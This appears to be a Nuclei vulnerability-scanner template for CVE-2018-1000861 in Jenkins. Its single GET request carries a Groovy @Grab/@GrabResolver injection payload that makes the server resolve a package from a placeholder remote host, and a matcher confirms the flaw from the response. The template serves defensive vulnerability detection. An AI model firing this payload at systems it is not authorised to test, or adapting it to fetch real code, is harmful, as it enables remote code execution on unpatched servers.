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id : CVE-2018-1000861
info :
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name : Jenkins - Remote Command Injection
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author : dhiyaneshDK,pikpikcu
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severity : critical
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description : Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
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remediation : |
Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability.
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reference :
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
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- https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
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- https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595
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- http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html
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- https://access.redhat.com/errata/RHBA-2019:0024
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2018-1000861
cwe-id : CWE-502
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epss-score : 0.97173
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epss-percentile : 0.99758
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cpe : cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
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metadata :
max-request : 1
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vendor : jenkins
product : jenkins
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tags : packetstorm,kev,vulhub,cve,cve2018,rce,jenkins
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http :
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- method : GET
path :
- '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
matchers-condition : and
matchers :
- type : word
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part : body
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words :
- "package#vulntest"
- type : status
status :
- 200
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# digest: 4a0a004730450220551f94bcd363581c6741052b6e4d0b725cb313b8c759df051c361e58c36ea25d022100c2a85ad6c96c8d7b3bc534de4355fd8381dc5a3c0067fd7c9d259b6e830deeb3:922c64590222798bb761d5b6d8e72950